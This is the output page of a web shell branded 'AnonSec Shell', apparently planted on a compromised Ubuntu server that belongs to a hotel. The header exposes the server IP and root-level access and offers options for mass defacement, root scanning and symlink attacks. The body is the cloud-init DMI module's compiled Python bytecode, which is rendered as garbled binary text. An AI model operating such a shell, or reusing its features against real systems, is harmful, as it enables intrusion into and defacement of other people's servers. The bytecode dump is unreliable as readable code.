AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/__pycache__/dmi.cpython-310.pyc
o

x[hB�@s�ddlZddlZddlZddlmZmZddlmZmZddl	m
Z
mZmZm
Z
e�e�ZdZGdd�de�Zided	d
d��dedd
d��deddd��deddd��deddd��deddd��deddd��deddd��d ed!d"d��d#ed$d%d&��d'ed(d)d*��d+ed,d-d��d.ed/d0d&��d1ed2d3d4��d5ed6d7d*��d8ed9d:d*��d;ed<d=d��Zd>ed?eefd@dA�Zd>ed?eefdBdC�Zd>ed?eefdDdE�Zd>edFed?eefdGdH�Zd>ed?eefdIdJ�ZdKed?efdLdM�ZdS)N�N)�
NamedTuple�Optional)�performance�subp)�is_container�is_DragonFlyBSD�
is_FreeBSD�
is_OpenBSDz/sys/class/dmi/idc@s.eZdZUeed<eeed<eeed<dS)�KernelNames�linux�freebsd�openbsdN)�__name__�
__module__�__qualname__�str�__annotations__r�rr�//usr/lib/python3/dist-packages/cloudinit/dmi.pyr
s
r
zbaseboard-asset-tag�board_asset_tagzsmbios.planar.tagzbaseboard-manufacturer�board_vendorzsmbios.planar.makerzbaseboard-product-name�
board_namezsmbios.planar.productzbaseboard-serial-number�board_serialzsmbios.planar.serialzbaseboard-version�
board_versionzsmbios.planar.versionzbios-release-date�	bios_datezsmbios.bios.reldatezbios-vendor�bios_vendorzsmbios.bios.vendorzbios-version�bios_versionzsmbios.bios.versionzchassis-asset-tag�chassis_asset_tagzsmbios.chassis.tagzchassis-manufacturer�chassis_vendorzsmbios.chassis.makerz	hw.vendorzchassis-serial-number�chassis_serialzsmbios.chassis.serialzhw.uuidzchassis-version�chassis_versionzsmbios.chassis.versionzsystem-manufacturer�
sys_vendorzsmbios.system.makerzsystem-product-name�product_namezsmbios.system.productz
hw.productzsystem-serial-number�product_serialzsmbios.system.serialzsystem-uuid�product_uuidzsmbios.system.uuidzsystem-version�product_versionzsmbios.system.version�key�returnc
CsBt�|�}|dus|jdurdSd�t|j�}t�d|�tj�	|�s+t�d|�dSz3t
�d|����!t|d��}|�
�}Wd�n1sIwYWd�n1sXwYWntynt�d|�YdSw|dt|�d	d
kr}d}z|�d���WSty�}zt�d
|||�WYd}~dSd}~ww)z/
    Reads dmi data from /sys/class/dmi/id
    Nz{0}/{1}�querying dmi data %szdid not find %szReading �rbzCould not read %s����
��utf8z-utf-8 decode of content (%s) in %s failed: %s)�DMIDECODE_TO_KERNEL�getr�format�DMI_SYS_PATH�LOG�debug�os�path�existsr�Timed�open�read�PermissionError�len�decode�strip�UnicodeDecodeError�error)r&�kmap�dmi_key_path�fp�key_data�errr�_read_dmi_syspathSsH
�
�������rFc
C�t�|�}|dus|jdurdSt�d|j�zdd|jg}t�|�j��}t�d||j�|WStjyK}zt�d||�WYd}~dSd}~ww)z/
    Reads dmi data from FreeBSD's kenv(1)
    Nr(�kenvz-qzkenv returned '%s' for '%s'zfailed kenv cmd: %s
%s)	r/r0rr3r4r�stdoutr>�ProcessExecutionError�r&rA�cmd�resultrErrr�
_read_kenv{�
��rNc
CrG)z1
    Reads dmi data from OpenBSD's sysctl(8)
    Nr(�sysctlz-qnzsysctl returned '%s' for '%s'zfailed sysctl cmd: %s
%s)	r/r0r
r3r4rrIr>rJrKrrr�_read_sysctl�rOrQ�dmidecode_pathc
Cs|z"|d|g}t�|�j��}t�d||�|�dd�dkr WdS|WStjy=}zt�d||�WYd}~dSd}~ww)z
    Calls out to dmidecode to get the data out. This is mostly for supporting
    OS's without /sys/class/dmi/id support.
    z--stringz dmidecode returned '%s' for '%s'�.�zfailed dmidecode cmd: %s
%sN)rrIr>r3r4�replacerJ)r&rRrLrMrErrr�_call_dmidecode�s
��rVcCs�t�rdSt�st�rt|�St�rt|�St|�}|dur |Sdd�}t��d}||�s:|dvs:t	�
d|�dSt�d�}|rFt
||�St	�
dt�dS)	a�
    Wrapper for reading DMI data.

    If running in a container return None.  This is because DMI data is
    assumed to be not useful in a container as it does not represent the
    container but rather the host.

    This will do the following (returning the first that produces a
    result):
        1) Use a mapping to translate `key` from dmidecode naming to
           sysfs naming and look in /sys/class/dmi/... for a value.
        2) Use `key` as a sysfs key directly and look in /sys/class/dmi/...
        3) Fall-back to passing `key` to `dmidecode --string`.

    If all of the above fail to find a value, None will be returned.
    NcSs$|dkp|ddko|dd�dkS)N�x86_64r�i��86r)�archrrr�is_x86�s$zread_dmi_data.<locals>.is_x86�)�aarch64�amd64zdmidata is not supported on %s�	dmidecodez0did not find either path %s or dmidecode command)rrrrNr	rQrFr5�unamer3r4r�whichrVr2)r&�
syspath_valuer\�
uname_archrRrrr�
read_dmi_data�s&

re�srccCsxd|vr|St��}t�d|�D])}||vrt�d|||�qt|�}|s'd}t�d|||�|�d|�d�|�}q|S)zBReplace __dmi.VARNAME__ with DMI values from either sysfs or kenv.�__z__dmi\.([^_]+)__z7Ignoring invalid __dmi.%s__ in %s. Expected one of: %s.rTz'Replacing __dmi.%s__ in '%s' with '%s'.z__dmi.)	r/�keys�re�findallr3�warningrer4rU)rf�valid_dmi_keys�match�	dmi_valuerrr�sub_dmi_vars�s.��ro)�loggingr5ri�typingrr�	cloudinitrr�cloudinit.utilrrrr	�	getLoggerrr3r2r
r/rrFrNrQrVrerorrrr�<module>s�

������
��
���������������"��%��(��+��1(0

Anon7 - 2022
AnonSec Team